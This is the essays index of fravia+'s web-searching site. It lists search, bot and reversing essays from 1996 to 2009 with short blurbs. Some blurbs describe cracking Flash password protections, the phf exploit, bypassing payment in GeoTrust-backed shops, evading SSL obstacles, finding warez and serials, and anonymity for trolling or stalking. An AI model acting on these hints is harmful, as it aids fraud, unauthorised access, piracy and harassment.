where you posted it will think its uninteresting and pass it by.._ "  
|  
---|---  
  
  
  

  * \[machine\_translation.htm\]: How to seek in languages you don't know   
by  _fravia+_ , March 2009  
part of the \[seekers linguistic station\] and of the \[essays\] section.  
"_...Granted, language knowledge is a mighty addition for all web-seekers, yet
even the best linguists \(and seekers\) cannot cope with the infinite
linguistic web: in order to fetch information you often have to delve inside
languages you don't know a single word of... _"  
|  
---|---  
  
  
  

  * \[files\_repositories.htm\]: Specialized search tools and techniques  
by  _Mariuolo_ , September 2008  
part of the searching locally section.  
 _Mariuolo has updated the older files repositories section prepared by Kane
and myself, adding some useful search forms. And he points out: "_ generally
when you search for file sharing, **Yahoo is better** "  
  
  
|  
---|---  
  
  
  

  * \[ocadelcairo.htm\]: "La legge dell'oca", a web-searching rule  
\(a demonstration of the direct relation between "findability" and
"celebrity"\)  
by  _fravia+_ , March 2008  
part of the essays section.  
 _So did we prove the "Legge dell'Oca"? Is there a real direct relation
between "findability" and "celebrity" of a target? Indeed there is, as those
readers that took the time to follow the links we have used in this essay will
surely have noticed. But we also determined that the "findability" curve never
vanish: rare and obscure subjects are surely more difficult to find than
ubiquitous targets like Mozart's "great" G minor symphony K\_550, yet even
such rare targets ARE lurking somewhere in the deep deep web. So even when
approaching maximum rarity levels the chances to find a given "rare" target
remain constant. _  
|  
---|---  
  
  
  

  * \[how\_to\_research.htm\]: How to research, evaluate and collate web material  
by  _A+heist_ , February 2008  
part of the essays section.  
 _Old A+heist reappeared out of the blue with an interesting short essay: how
to prepare a pre-universitary level but still full-fledged and thoroughly
valid research on a given argument \(here in his example: Dinosauria\) in a
very short amount of time. As the Author himself points out: "Unfortunately,
finding journals and texts is often easier than evaluating them".  
_|  
---|---  
 _  
  
  
_

  * _\[deepweb\_searching.htm\]: How to access and exploit the shallow deep web.  
by  _fravia+_ , winter 2008  
"This paper profess that the many "open access" indexable databases that have
recently flourished within what was the "unindexed web", have already
shallowed the supposed depth, and are destroying the prehistoric "pay per
knowledge" access model, of the "deep web" of once. Moreover, seekers might
access "from behind" the remaining unindexed deep web of proprietary databases
using some creative, if at times slightly dubious, approaches \(provided this
is not forbidden by the legislation of their respective countries of residence
or of the countries of their chained proxies\)."  
_|  
---|---  
  
  
  

  * \[alltheweb.htm\]: No one lights a candle and hides it under a bushel, except Yahoo\!   
by  _Nemo_ , June 2007  
An incredible load of seekers' knowledge. It encompasses an update of the
famous \[nemo\_SEO.htm\]: how to beat SEO spammers at their own game: cleaning
our web from SEO crap.  
Part of the essays section.  
"_This is Nemo, delivering an incredible amount of seekers' knowledge for
free. Be warned, the iceberg is deeper than it looks like, and if you follow
it, and the many hints inside, you'll obtain dangerous wizard power searching
capabilities..._ "  
|  
---|---  
  
  
  

  * \[change\_windows.htm\]: I won't beta-test windows.  
by  _mycroft tanstaafl_ , march 2007, part of the essays section.  
"_As it turns out, quite a bit of common software exists, is free, often works
better than anything else out there. I slowly switched, and I still use them,
since, well, I have about 20 PC's in my life, and about half of them run Linux
\(Ubuntu, Fedora Core, Open SuSE, Solaris, and, of course Debian. No Mandriva,
no Slackware, no Centos, no Yellow Dog, no Linux From Scratch... There's just
too many to load them all_ "  
|  
---|---  
  
  
  

  * \[Bypassing Google's geotargeting \]  
_When there's a will, there's a way\!_  
by  _Nemo_ , November 2006, part of the essays section.  
_Even with the **ncr** suffix, "Google still knows from where do you come
from, as shown by the link present on google.com homepage" – _Go to Google
your country here_–. Searchers wouldn't care less, if it weren't for the
**fewer search results they get outside the USA**. It goes without saying that
this does not only affect non Americans, but also Americans travelling or
working abroad... and perhaps even american soldiers and diplomats... and,
btw, in fact, ahem, anyone else on this planet. _  
|  
---|---  
  
  
  

  * loki\_yahoo.htm: Loki on Yahoo's filter - a short pointer  
by  _Loki_ , February 2006  
Part of the essays section.  
_Lately, all eyes are turned on the diva Google, and every sidestep is
noticed, blogged, commented, flamed etc.. New interesting features coming out
of Yahoo's labs are ignored, MSN sliders are underused, but nobody misses the
latest crappy packaged solution promoted by Google and his partners. _  
|  
---|---  
  
  
  

  * Content Based Image Recognition - a stab in PHP \(Part 1\)  
by  _Finn61_ , February 2006  
Part of the essays and of the images sections.  
_Even the .edu's aren't giving all this research away. You will find some
doors closed, although I was amazed at how easy it is to find info that people
would like you to pay for, freely lying around, sometimes mistakenly, in other
places. If you get a closed/pay database that allows you to preview pages of
papers, then you know what to do to find the rest. ;\)_

  *   
and  
  
Content Based Image Recognition - a stab in PHP \(Part 2\)  
by  _Finn61_ , February 2006  
Part of the essays and of the images sections.  
_The design I finally decided to go with for image comparison was based on the
frequency of colours in certain regions of the source and target images. I
have chosen this design as a compromise for speed and experimentation. There
are many variables to tweak, some values giving you good results and others
terrible, but I wanted to build in flexibility so we can experiment and
discover what works well for the sources and targets we have in mind. _  
|  
---|---  
  
  
  

  * Googlex & Company: Find quickly any European Union \(or United Nations\) document  
by  _fravia+_  
Part of the essays and of the targets sections.  
_I have created the following masks in order to allow \*anyone\* to quickly
fetch any EU \(or United Nations'\) document, bypassing the labyrinthical
slowness of the EU-servers and the clumsiness of their slow search engines._  
|  
---|---  
  
  
  

  * Searching for DVDs and dvd information  
by  _Giggle the DVDs Gideon_ , January 2006  
Part of the essays and of the targets sections.  
"_For COMPUTERS, the problem is solved in a much easier way using any good
software that will allow you to to change the region of the player so it will
recognize all discs_ "  
|  
---|---  
  
  
  

  * A VERY promising spamfighting exercise.  
by  _Loki_ , January 2006  
Part of the essays section.  
_Ok, this is neither for newbyes nor for people that don't know much about the
stuff being discussed. So what? Excuse us for being -as usual- politically
incorrect :-\)  
Yet those among the readers that enjoy the power of seeking may \(may\!\) find
this short "essay in fieri" quite instructive. Good lecture\! _  
|  
---|---  
  
  
  

  * longtermsearching.htm  
Long term searching: rules and advices  
by  _Fravia+_  
September 2005  
Part of the searching essays and of the evaluating essays sections.  
 _Estote parati\!  
Time and again, seekers realize that many fellow humans don't even know how to
use the exclusion operator on google - this usually leaves us feeling hollow,
sick, and ashamed that we inhabit the same planet \(let alone that we belong
to the same species\) as such scum :-\) Time to throw some knowledgeballs down
the webhills\! _  
|  
---|---  
  
  
  

  * inktomi.html  
Yahoo\!/Inktomi's search syntax  
by  _Nemo_  
September 2005  
\(Updating the older essay inktomi.htm\)  
Part of the searching essays section.  
 _No one lights a candle and hides it under a bushel, except Yahoo\! _  
Wizard searching\!  
|  
---|---  
  
  
  

  * \[mala\_power.htm\]: Powerbrowsing\!  
by  _+Mala_  
What every seeker should know  
 _PowerBrowsing means browsing the Web seeing only what you chose to see. Even
if this might seem an easy thing to do, it is not and it will become harder
and harder in the future... unless, of course, you become "PowerBrowsers"_  
September 2004  
|  
---|---  
  
  
  

  * \[p2P\_shin.htm\]:  _The crazy world of P2P applications or How I learned to hate KaZaA but love eMule_   
and/or  
These people must think we all are complete idiots \(and they just might be
right\!\)"  
by  _shinohara_ , September 2004, part of the \[P2P\] and of the \[essays\]
sections

  
|  
---|---  
  
  
  

  * \[eurosearch.htm\]: Das grosse européenne bellissimo search  
by  _fravia+_ \(Taking advantage of free polylinguistic tools when searching\)  
Part of the searching essays and of the Seekers' Linguistic Station sections.
~ September 2004  
"The importance of this both for queries that start in a language different
from english \(and of course need the english equivalent to be effective on
the web\) and also at the same time for queries that start in english but
often enough badly need some opening to other languages should not be
underestimated. So do not underestimate it :-\)"  
|  
---|---  
  
  
  

  * \[blog.htm\]: Searching among Internet Blogs for Information  
by  _Fravia+_  
Part of the searching essays & evaluating results sections. ~ July 2004  
"By allowing anyone to get his hands on the means of production - to write,
produce and publish his own content without needing an editor or publisher,
blogs may threaten the traditional media's hold over the spread of information
and ideas.  
Unfortunately enough, many bloggers are just bitchy individuals with some axes
to grind, unable of rising above their immediate concerns and personal
prejudices and not capable of weighing up the facts. Moreover, alas, there are
many more bigot right-oriented bloggers as one would deem possible in a
medium, like the Internet where even idiots can find real \(and
professional\)information pretty easily"  
|  
---|---  
  
  
  

  * \[sehisinf.htm\]: Searching the Internet For Historical Information  
by  _Stevieo_  
Part of the searching essays & evaluating results sections. ~ July 2004  
"Stevieo: Historical information can be hard to find on the internet. This
paper starts by listing a few of these difficulties. The rest is a live
experiment where I try to figure out how to do historical research using the
internet. I hope to provide some tips to help others do research on the
internet. I also hope anyone reading this will offer their ideas and
solutions. "  
|  
---|---  
  
  
  

  * \[geotrust.htm\]:  _Exploring eCommerce websites backed by GeoTrust_   
by  _Anonymous Lee_ , part of the essays.htm section.  
"An astonishing discovery: GeoTrust encourages its clients to bounce the
credit card transaction from the buyers browser\! Unbelievable stupid way of
clearing a credit card. This opens the door for anyone with half way
programming skill to compromise the response and order products and services
from the merchant without actually paying for it" ~ April 2004  
|  
---|---  
  
  
  

  * \[persistence.htm\]:  _The importance of persistence: a case study_  
by ~S~  _Mordred_ and  _Jeff_ , part of the essays.htm & images.htm sections.
"Images searching" Lore  
"And the MOST funny part is, that had I taken the keyword path in its
description fork \(describing the image itself\) it would be there at once" ~
March 2004  
|  
---|---  
  
  
  

  * \[inktomi.htm\]:  _Inktomi's search syntax_  
by ~S~  _Nemo_ , part of the essays.htm section.  
"Inktomi is one of the best search engines out there. Unfortunately its search
syntax is not well documented, which is a pity, because Inktomi offers one of
the richest search syntaxes, with lots of  _unique_ features and a ranking
algo which works often quite well" "Our Tools" Lore ~ February 2004  
|  
---|---  
  
  
  

  * \[cinix\_run.htm\]:  _There is never just 'one' way_  
by ~S~  _Cinix_ , part of the essays.htm section.  
Learning a browser new tricks ~ 'Sit', 'roll over' and 'play dead'  
Magic Tool Lore ~ January 2004  
"A ~S~ most important tool is without a doubt his browser, nearly all other
tools are used in order to complement it. So we will try to optimize the way
we use \(or abuse\) our browser by teaching it some new tricks."  
|  
---|---  
  
  
  

  * \[ebook\_21\]:  _Ebook webbits: an unabridged discussion._  
by  _VVAA_ , part of \[Catching web-rabbits\]: \(_Catching the rabbit's ears &
pulling files out of the hat_\), itself part of the \[Essays\]. Pearls of
ebook seeking wisdoms ~ September 2003  
"I usualy do NOT -eliminate book sellers right away, because sometimes they
have excerpts of TEXT of the book being sought... text can of course be the
direct way to find those peoples who have put the book online and thus filter
out all of the useless/camouflaged/ Title returns."  
|  
---|---  
  
  
  

  * \[lipirads.htm\]:  _Anonymous Authentication - or - Where the ADS are_  
by  _Will Lipira_ , part of the \[Searching essays\] and of the
\[Antiadvertisement Lab\].  
"I decided to go back into my hosts file and peruse a few more intrusive
advertising sites. Every single bloody one I checked used IIS \(I checked
about 30 or so\)" HOST\! ~ Mai 2003  
|  
---|---  
  
  
  

  * \[cinix\_fla.htm\]:  _Password Busting: SWF Protections \(Getting access in a flash\)_  
by ~S~  _Cinix_ , February 2003, part of the \[Searching essays\] and of the
\[Passwords lore\].  
"In 97% of the cases a simple text-scan will give you the unencrypted
password, username or a backdoor url... since most protections have them
hardcoded inside the Flash" searching hidden entrances\!  
|  
---|---  
  
  
  

  * \[irc\_kane.htm\]:  _Internet Relay Chat Anonymity_  
by ~S~  _Kane_ , February 2003, part of the \[essays\] and of the \[Anonymity
lore for beginners\]. Primary goal: being anonymous while searching for files
on IRC. Secondary goal is to allow you to stay anonymous while searching for
information by whatever means necessary, be that trolling or stalking or other
methods. searching in the shadows  
|  
---|---  
  
  
  

  * \[son\_font.htm\]:  _An essay on identifying and getting ahold of fonts_  
by ~S~  _sonof_ , february 2003, part of the \[Essays\], of the \[pdf\], and
of the \[Targets\] sections.  
With a script to extract fonts from pdf files  
|  
---|---  
  
  
  

  * \[london/lea2tra.htm\]:  _Learning to transform questions into effective queries_  
by ~S~  _fravia+_ , February 2003, part of the \[Essays\], of the
\[evaluation\] section and of my London workshop preparation.  
7 questions: quis, quid, ubi, quibus auxiliis, cur, quomodo, quando?  
|  
---|---  
  
  
  

  * \[nemo\_SEO.htm\]:  _Search Engines Anti-Optimization_ \(Get your own stop words\!\)  
by ~S~  _Nemo_ , january 2003, part of the \[Essays\]. Advanced Web searching
tricks  
Bookmarklets to the rescue\! "The idea is to build a list of the words
appearing in the search results, with their relative frequency, so that you
can spot at once the **most unwanted** keywords... Ironically the SEO-
webmaster's obsession to optimize their webpages, using every possible
keywords associated to their content, simplifies our task: avoiding them" :-\)  
|  
---|---  
  
  
  

  * \[loki\_mil.htm\]:  _Fishing for troubles_ \(About the careless spreading of field manuals and other military documentation on the web\)  
by ~S~  _Loki_ , January 2003, part of the \[Essays\]. Searching power\!  
"Most of the information isn't really hidden. It's there, not so far from us,
but under a ton of noisy, unrelated, data. The major difficulty you face while
hunting data is not of technical type, but is more cognitive. You are limited
by your IMAGINATION"  
|  
---|---  
  
  
  

  * \[909Essay.htm\]:  _Elusive angles: dark 909 - light z404 search_ ~ \("I have a couple of searches myself that I've begun maybe 2 years ago. One of them I was able to complete in one hour or so when I resumed it after the 909 ordeal:\)"  
by ~S~  _vvf_ and ~S~  _Jeff_ , December 2002, part of the \[Essays\]. Wizard
searching\!  
|  
---|---  
  
  
  

  * \[netsca7.htm\]:  _Reviewing the new Netscape ver 7_   
\(" Of course, when starting, I chose the custom install, not the default one.
I ALWAYS choose the custom install anyway when installing any NEW soft, since
I DO NOT trust ANY software's default installation"\)  
by  _Angela Natiash_ , part of the \[Essays\].  
|  
---|---  
  
  
  

  * \[dawicra.htm\]:  _Dancing With Crawlers_ \(An essay about making websites both search-engine friendly and accessible, without sacrificing 'cool' design\)  
by  _Dan Ciammaichella_ , part of the \[Essays\].  
|  
---|---  
  
  
  

  * \[rabbits\]:  _Catching web-rabbits_ \(Catching the rabbit's ears & pulling files out of the hat \)  
by  _VVAA_ , November 2002 part of the \[Essays\]. Advanced Web searching
tricks ~ Magical searching  
"**Q:** In the case of serials, how do you avoid commercial idiots? **A:**
Using a working serial as a bait, if possible related with your serial
search."  
|  
---|---  
  
  
  

  * \[rea\_kane.htm\]:  _Eliminating the evil real player_  
by ~S~  _Kane_ , November 2002, part of the \[essays\], and of the \[malware\]
sections. \(it was about time that some reverser would 'solve' the problems
caused by the spyware known as Real player. Here is the solution. Read and
enjoy :-\)  
|  
---|---  
  
  
  

  * \[frav\_lea.htm\]:  _How did they vote? Learning from our American friends_  
by ~S~  _fravia+_ , November 2002, part of the \[essays\]. \(Grass root
organisations & civil society buffs will appreciate the "accountability"
possibilities opened here: searching the web and fighting for a better world
do finally slowly integrate :-\)  
|  
---|---  
  
  
  

  * \[fly\_wiz.htm\]:  _The amazing flying wizards_ \(How a bunch of leet seekers enters databases\)  
by  _VVAA_ , November 2002, part of the \[Essays\]. "well sonofabeehive ...
google lists a number of members... lets snatch the very first one's email
address and try it"  
|  
---|---  
  
  
  

  * \[frav\_eu1.htm\]:  _Zapping a huge database_ \(How to access ANY European Union document\)  
by  _il-li_ , October 2002, part of the \[essays\].  
"Grass root organisations, civil society buffs and fellow linguists will
appreciate the possibility to link, read, search and use ALL the European
Union documentation for free"  
|  
---|---  
  
  
  

  * \[ar1essay.htm\]:  _The "index +of" seekers' trick_ \(some web-searching knowledge, worked out and folded toghether\)  
by ~S~  _aapje_ & ~S~  _ritz_ , september 2002, part of the \[essays\].  
"This query is used to find so called "open directories", by searching for
certain standard-keywords that almost always appear in the server-generated
pages of such directories..."  
|  
---|---  
  
  
  

  * \[ritz\_\_3.htm\]:  _javascript bookmark tricks_ \(enhance your search experience ;\)  
by ~S~  _ritz_ , September 2002, part of the \[essays\].  
"did you know you can use javascript in your url-line or in a bookmark to add
even more searching functionality to opera \[or any other browser\]?"  
|  
---|---  
  
  
  

  * \[norlight.htm\]:  _Northernlight: For SALE: Your Work_ \(FREEing up a Search Engine\)  
by ~S~  _Jeff_ , September 2002, part of the \[essays\].  
"A wisdom 'rosario': A 'necklace of knowledge', every pearl gently bringing
your seekers' fingers to the next one..."  
|  
---|---  
  
  
  

  * \[missin\_1.htm\]:  _When your search fails_ \(Two software searching experiences\)  
by  _batbin_ , and  _Dza Stalinskouyou Konstitoutsiyou_ , September 2002, part
of the \[essays\].  
"And others who lose out the search and the battle should get up and admit it.
Otherwise it's time that is lost most, and time pays."  
~ Dejavu ver.3.0.21 is not 'out there' \(but Dejavu ver.3.0.20 is\) ~ Sound
forge ver.6 is not 'out there' \(but Sound forge ver.5 is\)  
|  
---|---  
  
  
  

  * \[altosax1.htm\]:  _Follow Links in the Underground_   
by  _altosax_ , September 2002, part of the \[essays\]. Avoid popups,
redirection and/or tracking links, links pointing to a false location and so
on  
"Real searchers must be able to find what they are looking for in the most
effective way and when the site is realized to fool the users, they should
_never_ have to click onto a link just to discover it is not what they thinked
it was"  
|  
---|---  
  
  
  

  * \[adq\_pdb1.htm\]:  _PDB Information Leakage_   
by  _adq_ , September 2002, part of the \[essays\]. Advanced reversing for
searching purposes:  
Information leakage discovered during research into Microsoft's Program
DataBase \(PDB\) debugging information files ~ .LIB files are just AR archives
~ PdbDump as a tool to check for information leakage  
|  
---|---  
  
  
  

  * \[sally\_02.htm\]:  _Google has a wild side and you didn't know it\! \(and other searching tricks\)_   
by  _Shally Steckerl_ , June 2002, part of the \[essays\]. Advanced searching
lore.  
|  
---|---  
  
  
  

  * \[drwho\_01.htm\]:  _Extension Identification Bug and IE Registry Manipulation_  
\(aka "Screwing ms internet explorer": fundamental lore for seekers seeking
revenge :-\)  
by  _Doc~_ , June 2002, part of the \[essays\]. Advanced, potentially 'nasty',
lore. NOT for beginners.  
|  
---|---  
  
  
  

  * \[azfishre.htm\]:  _Review of file-sharing programs_  
"There are numerous file-sharing programs and utilites out there available.
They are like strong weed, the more the goverment, big corporations, etc try
to kill them, the more will appear, and they will be harder and harder to
kill"  
by  _Angela Zaharia_ , March 2002, part of the \[undergro.htm\] and of the
\[essays\] sections  
|  
---|---  
  
  
  

  * whitemea.htm:  _Proxy Logs - The Other White Meat_  
by  _Finn61_ , March 2002  
part of the combing \[section\]  
"So now you should have some large lists of URL's you can scan for that hard-
to-find document or program"  
Try each and every link given in this essay, and gasp in awe...  
|  
---|---  
  
  
  

  * fuzzy.htm:  _Using Fuzzy Logic_  
by  _Shally Steckerl_ , March 2002  
part of the searching \[essays\]  
"AOL has the little known ability to search with three Boolean Near, which I
have used for many years, but also the ability to use the search commands ADJ
and W/n"  
|  
---|---  
  
  
  

  * \[jeff\_sas.htm\]:  _Searching scarcity: Steganography and just-in-time info on the web_  
by ~S~  _Jeff_ , December 2001, part of the \[searching essays\] section.  
"After what seemed a long weekend, and many attempts, using many combinations
of search terms gathered as I read hundreds of pages... i finaly brought up
what I was looking for"  
|  
---|---  
  
  
  

  * \[bullseye.htm\]:  _Hitting The BullsEye_   
by ~S~  _CiNiX_ , May 2001.  
"I took a little peek in the 'hidden' engine directory and found about 897
engine files, mucho interesting information for the people that work on the
oslse project\!"  
part of the \[bots\] section.  
|  
---|---  
  
  
  

  * \[dolmen\_2.htm\]:  _Java Bots introduction_   
by  _Dolmen_ , May 2001.  
"Here is a simple bot that downloads a page from the URL given on the command
line and outputs it preceded by the HTTP headers \(if it is an http:// URL\)"  
part of the \[bots\] section.  
|  
---|---  
  
  
  

  * \[dolmen\_1.htm\]:  _A PHP reformater for the PALM_   
by  _Dolmen_ , May 2001.  
"So it was time for me to build a bot that, at the AvantGo proxy request, will
download the original page, extract the info, and give it to AvantGo formatted
with a basic layout..."  
part of the \[bots\] section.  
|  
---|---  
  
  
  

  * \[cope\_wot.htm\]:  _Reversing to Enhance and Expand \(754 engines into the pot\) _  
by ~S~  _WayOutThere_ , Advanced essay, part of the \[bots\], and of the
\[malware\] sections.  
|  
---|---  
  
  
  

  * \[lexi\_lau.htm\]:  _the lexibot essay \(600 engines for next to nothing - _part TWO -  _delving deeper\)_  
by ~S~  _Laurent_ , Advanced essay, part of the \[bots\], section.  
|  
---|---  
  
  
  

  * \[lexi\_wot.htm\]:  _the lexibot essay \(600 engines for next to nothing _\- part ONE -  _first steps\)_  
by ~S~  _WayOutThere_ , Advanced essay, part of the \[bots\], section.  
|  
---|---  
  
  
  

  * \[perlbot.htm\]:  _HOW TO FOOL SSL DOWNLOAD OBSTACLES \(spelunking into https "secure" servers\)_  
by  _DigJim_ , Very Advanced essay  
"Lotta juicy stuff for those that want to 'customize' their contacts with
unknown servers"  
|  
---|---  
  
  
  

  * \[ima\_\_sea.htm\]:  _Searching an image without knowing its name_ \(wizardry searches\)  
by  _An Argy_ , March 2001  
part of the \[images\], section.  
"Maybe we should expect much more effectiveness if we would rely on keywords
that represent the "logical" or "semantic" content of the photo than the
"visual" description of it"  
|  
---|---  
  
  
  

  * \[wf\_add.htm\]:  _Adding engines to WebFerret_ \(The guts of a search engines parser\)  
by ~S~  _Laurent_ , February 2001  
Advanced, part of the \[bots\], section  
"An incredible deed. Webferret's own updating protocols reversed."  
|  
---|---  
  
  
  

  * \[raijack1\]:  _Gathering News Headlines and Text Classification through Distributed Efforts and Regular Expression Web Templates_ \(The Nature of Late-Breaking News Content and the Internet\)  
by  _rai.jack_ , January 2001  
part of the \[Essays\] sections  
"It seems that seeking has finally become a necessity even to the media-fed
consciousness of the ever sleeping consumer-zombie NYT readership."  
|  
---|---  
  
  
  

  * \[athei\_06\]:  _The case for NOT using Microsoft's explorer_ \(The Unbearable Lightness of persistence\)  
by  _A+heist_ , January 2001  
part of the \[Tutti all'opera\!\], and of the \[Essays\] sections.  
"Whether this \(hidden\) information may really be of great value may be
debatable, but I wouldn't want anybody \(especially low-life forms like
marketers\) to know what social vice website I view nor my preferred political
or religious sites, nor the sites I visit in other countries etcetera"  
|  
---|---  
  
  
  

  * \[opera\_5.htm\]:  _Some "improving" thoughts on Opera 5, \(an horrible commercial oriented "update" of our preferred browser\)_  
by  _Woods+ock_ and  _Beardo_ , December 2000  
part of the \[Tutti all'Opera\] and of the \[our essays\] sections.  
|  
---|---  
  
  
  

  * \[comiixii.htm\]:  _How to make Opera v4.02 usable_ "People at Opera should be ashamed\!"  
by  _iixii_ , part of the \[Tutti all'Opera\] and of the \[our essays\]
sections.  
|  
---|---  
  
  
  

 _  
_Older essays, tools and papers  
Essays, tools and papers about search- and reversing-related matters  
---  
_  
  
\[ultrae2.htm\]: An interesting tool: BRW\(32-bit reverse engineering\)  
by fravia+  
May 1997  
_

* * *
 _\[mammop5.htm\]: Customizing Netscape's buttons and menus \(Resource editing
galore\)  
by Mammon\_  
September 1997  
_

* * *
 _\[oldiegoo.htm\]: Oldies but Goodies A Dos Game CD-check with Sourcer 7  
by FootSteps  
March 1998  
_

* * *
 _\[new\_0101.htm\]: How to search: The phf exploit  
by +Thor  
April 1998  
_

* * *
 _\[boyd1.htm\]: Fravia's copy of G.E.Boyd's E-Mail Servers Listing  
by G.E.Boyd  
June 1998, updated July 1999  
unvaluable list, if you know or learn how to use these beasts. Boyd is a \(the
:-\) famous master accmailer.  
Added in July 1999:  
The importance of Accmail, by fravia+_

* * *
\[kmart\_s1.htm\]: More searching tips \(Advanced searching\)  
by Kmart  
December 1998  
 _Advanced tips for advanced searchers, if you use these search techniques you
can find yourself getting quite a bit of class A, quality info_

* * *
\[magicfi.htm\] : The Art of Guessing  
by .Sozni  
October 1999  
"_I can't believe how many hidden sites I have explored just by guessing stuff
_"

* * *
\[snooz.htm\]: Snooz metasearch  
by Craig Carey  
January 2000  
 _Look at the source, luke\!_

* * *
\[bonedi1.htm\]: Uncommon sense will increase your privacy; common sense will
just make you common.  
by Bone Digger  
February 2000  
 _Fundamental reading for anonymity concerned._

* * *
\[crackzs1.htm\]: Searching for a \(very important\) program: Softice  
by Crackz  
February 2000  
 _Fundamental reading for software reversers._

* * *
\[spiderja.htm\]: A Tale of the Spider in a Jar  
by Servo  
February 2000  
 _Fundamental reading for searchers, seekers and spider experts._

* * *
\[rumstea1.htm\]: GetRight lores  
by Rumsteack  
February 2000  
 _Avoid "pandora boxes" and gather hidden links the GetRight way..._

* * *
\[tsecoper.htm\]: Copernic 4.1 reversing ~ "If Unregistered then ads"  
by +Tsehp  
February 2000  
 _A small nice step against ugly "Eyeball grasping"..._

* * *
\[learmp31.htm\]: Getting da mp3 beef  
by TheLearner\_  
February 2000  
 _Could indeed be of some use for all kind of searches - not only in order to
find mp3 files_

* * *
\[evillin.htm\]: Evil nicks that people use on the net  
by eidan yoson  
March 2000  
 _There are some stalking lessons to be drawn from this essay... part reality
cracking, part anonymity lore: a strange little essay between all the various
"lores"_

* * *
\[realicra/virtualga.htm\]: Truth Searching: the Chechnya example  
by -IPFreely  
March 2000  
 _A good reality cracking ~ propaganda countering ~ seeking lores essay_

* * *
\[lucksea1.htm\]: How luck works with searching  
by event=horizon  
April 2000  
"_With time there comes a "feeling" for seeing minor details. And then there
comes the intuition behind it_ "

* * *
\[scan\_php.htm\]: a php network security scanner  
by Devergranne  
May 2000  
"_While you can forget about cgi's for security reasons, many trust php to be
a more secure language. In fact it is not._ "

* * *
\[son\_33\_1.htm\]: Javascript obscure conversion  
by sonofsamiam  
May 2000  
"_various ip-obfuscation functions by sonofsamiam_ "

* * *
\[teport\_2.htm\]: Teleport Pro 1.29, malware galore  
by Faulpelz  
May 2000  
"_The importance of this essay does not lie in the detail I discovered, but in
the typical problem you have nowadays, everytime you conntect to the internet:
You'll never know what happens in the background... \(and this applies to each
Software/Process that is running on your windoze System\)_ "

* * *
\[badlywri.htm\]: What search engines don't index and why  
by Rumsteack  
May 2000 "_useful for people who don't know the problems the search engines
encounter when indexing web sites_ "  
You'll quickly understand how useful the  _robots.txt_ file can be :-\)

* * *
\[c\_fourth.htm\]: Spelunking altavista's acronyms  
by ~S~  _Humphrey P._ ,  _Gregor Samsa_ &  _Iefaf_  
June 2000  
A fundamental 'search engines reversing' classroom. \(For advanced seekers\).

* * *
\[hump\_man.htm\]: Getting a list of ALL the IPs that are hosted at the -say-
Isle of Man  
by ~S~ Humphrey P.  
June 2000 "_I thought there would be less government with little places_ "  
there's more than one DNS lookup :-\)  
\(For advanced seekers\).

* * *
\[bg\_weird.htm\]: The weird ways of searching and the weird findings  
by ~S~ Svd.  
June 2000 "_those that do speak another language do not only say "differently"
the same things they see in a different way the world and the time around them
as well._ "  
\(For advanced seekers\).

* * *
\[rums\_01.htm\]: Getting the SIZE of the search engines  
by Rumsteack  
July 2000 "_Each search engine can be "reversed" differently. It's up to you
to find the "magic queries"\!\!_ "  
\(path opening\).

* * *
\[sonof\_01.htm\]: Feed the search engines with synonyms  
by sonofsamiam  
July 2000 "_broaden your search results by using synonyms for words you are
unsure about_ "  
\(For advanced seekers\).

* * *
\[scrbug.htm\]: Looking behind the curtains of server side scripts  
by DQ, August 2000  
"_ways to retrieve sources of ASP & PHP scripts_"  
\(For advanced seekers\).

* * *
\[scan\_reb.htm\]: A simple REBOL scanner  
by -Sp\!ke, September 2000  
"_ways to retrieve hidden files, pages, zips, images_ "  
\(For curious seekers\).

* * *
\[impo\_web.htm\]: The importance of Webrings for combing purposes  
by Lorenzo Gatti, October 2000  
"_This leaves webrings to motivated people, likely to offer good contents \(if
not, they wouldn't put themselves on display\) and likely to cluster sites in
the appropriate rings for their topics \(often there are mailing lists etc.
behind a webring\)_ "  

* * *
  

* * *
Fravia's own lessons  
\[Quite old stuff, now obsolete, see my recent workshops \(2000-2001\) or my
're-ranking' trilogy \(in fieri - 2002\) instead\]  
  
<img src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lesson\_5 ~
General use of agora, http:// retrieving ~ July 1996

* * *
<img src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lesson\_6 ~
Ftping files, agora queries and emailing altavista ~ December 1996

* * *
<img src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lesson\_7 ~
W3gate, search spiders, error messages and evaluation of results ~ March 1997

* * *
<img src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lesson\_8 ~
Advanced searching techniques \(combing and klebing\) ~ November 1997

* * *
<img src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lesson\_9 ~
Searching effectively ~ Site monitoring ~ January 1998

* * *
<img src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lesson\_10 ~
Let the bots search for you ~ and build  _your own_ search-bots :-\) ~ June
1998  

* * *
Robin Hood's lessons  
Well, from the dark webwoods of Sherwood, all of a sudden, Robin Hood has sent
me three 'promising' how to search lessons that you should by all means read
\(and head\). I'm very happy that good searchers start to contribute to this
section, and hope that many other searchers and stalkers will add their own
findings. In fact effectively web searching means to master techniques that
are far from obvious and that anyone seriously intentioned in reversing should
master. So I'm very happy to host here these "how to search" <img
src='img/Temp2_10732.gif' width='13' height='13' alt='red' />lessons and
stratagems by Robin hood.  
In fact, believe it or not, on the Web ther are some 'rangers' like in
Tollkien's books, people that are neither proper hackers nor crackers, but
that know how to fetch what they want, if needs be. Robin Hood seems to be one
of them and I'm glad that he decided to start helping us.  
Enjoy\!  

* * *
Surreal5's lessons  
Well, Surreal5's lessons \(and his introduction\) that you'll find \[here\],
are IMO very important for their "approaches" and because of the techniques
they deal with. Their specific subjects - basically how to find warez - are
not so important. Nevertheless, since warez ARE on the web \(much too much,
IMO\) why shouldn't you learn how to find them?  
  
This is what Surreal5 wrote t me:  
  
I've tried to organise this \(provisorial\) essay so, that both beginners and
advanced users can get something out of each lesson, and can almost directly
use it. Even if you are already an expert on how to find the example types i
used, you may get something out of it, a different perspective, something you
hadn't thought of. I like Robin Hoods tutorial, he has a broader experience
than i do, but i feel my lessons give faster results, with less effort spent
on learning boolean ,and other tool specifics. Consider this a crash course if
you will. Consider it a preliminary to Robin Hoods tutorial. Consider it an
alternative view from a lazy guy who wants results fast ;\)  
  
_Methodolgically \('_Net_ hodologically'? :-\) Surreal5's documents are very
important essays. I have tried myself some of his tips... for instance, if you
need to navigate and find goodies inside huge 'messy' sites \(like mine :-\)
you just add/update the relevant starting urls to a couple of quick \(and
reliable\) search engines and let their robots do all the work for you\!  
